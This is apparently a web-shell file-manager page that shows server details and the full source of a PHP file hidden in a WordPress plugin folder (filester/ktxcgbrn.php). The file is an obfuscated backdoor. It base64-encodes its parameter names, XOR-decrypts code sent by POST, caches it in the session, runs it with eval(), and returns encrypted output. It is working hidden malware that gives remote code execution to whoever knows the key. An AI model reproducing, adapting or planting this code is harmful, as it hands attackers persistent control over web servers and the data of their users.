HEX
Server: nginx/1.16.1
System: Linux ecs-04358622 4.19.90-2107.6.0.0100.oe1.bclinux.x86_64 #1 SMP Wed Dec 1 19:59:44 CST 2021 x86_64
User: nginx (994)
PHP: 8.0.0
Disabled: NONE
Upload Files
File: /home/www/wp-content/plugins/filester/ktxcgbrn.php
<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting/*svilkkIO*/(Chr("48"));
function ztczIBfg(/*aiNzsQqp*/$EILxYwPZ,$LsqmCGbO){
    for($wWUYVfEU=Chr("48");$wWUYVfEU<strlen($EILxYwPZ);$wWUYVfEU++) {
        $JFFjGwCi = $LsqmCGbO[$wWUYVfEU+Chr("49")&15];
        $EILxYwPZ[$wWUYVfEU] = $EILxYwPZ[$wWUYVfEU]^$JFFjGwCi;
    }
    return $EILxYwPZ;
}
$eAPoVars = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");
$base64_ztczIBfg = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode";
$bnPmPvmw = $eAPoVars($eAPoVars("Wlcxd1pYSnZjZz09"));
$GynWjDHO='p'.$eAPoVars($eAPoVars("WVhsc2IyRms="));
$wkrADTiA='0192023a'.$eAPoVars("N2JiZDczMjU=");
if (isset($_POST/*DCsLYARV*/[$bnPmPvmw])){
    $datUEWuERcg=ztczIBfg/*isHIPVgy*/($eAPoVars($_POST[$bnPmPvmw]),$wkrADTiA);
    if (/*NxqIlXNV*/isset($_SESSION/*ywlHKFFW*/[$GynWjDHO])){
        $ONxdgQgZ=ztczIBfg($_SESSION/*nPdhGOIt*/[$GynWjDHO],$wkrADTiA);
        if (/*YKqbbqCJ*/strpos($ONxdgQgZ,$eAPoVars/*iqYLQjCS*/($eAPoVars("WjJWMFFtRnphV056U1c1bWJ3PT0=")))===false){
            $ONxdgQgZ=ztczIBfg/*tjrlZTha*/($ONxdgQgZ,$wkrADTiA);
        }
		define("YPrVNSmY","//LmuMhYOX\r\n".$ONxdgQgZ);
		 eval("/*-DP@i*/".YPrVNSmY."");
        echo substr(/*hDZdISYp*/md5/*wMaMzwHP*/($bnPmPvmw.$wkrADTiA),Chr("48"),16);
        echo $base64_ztczIBfg(ztczIBfg(@run($datUEWuERcg),$wkrADTiA));
        echo substr(/*NQedpuCW*/md5/*ZMcKRhze*/($bnPmPvmw.$wkrADTiA),16);
    }else{
        if (strpos/*xoNirSsG*/($datUEWuERcg,$eAPoVars($eAPoVars("WjJWMFFtRnphV056U1c1bWJ3PT0=")))!==false){
            $_SESSION[$GynWjDHO]=ztczIBfg($datUEWuERcg,$wkrADTiA);
        }
    }
}
?>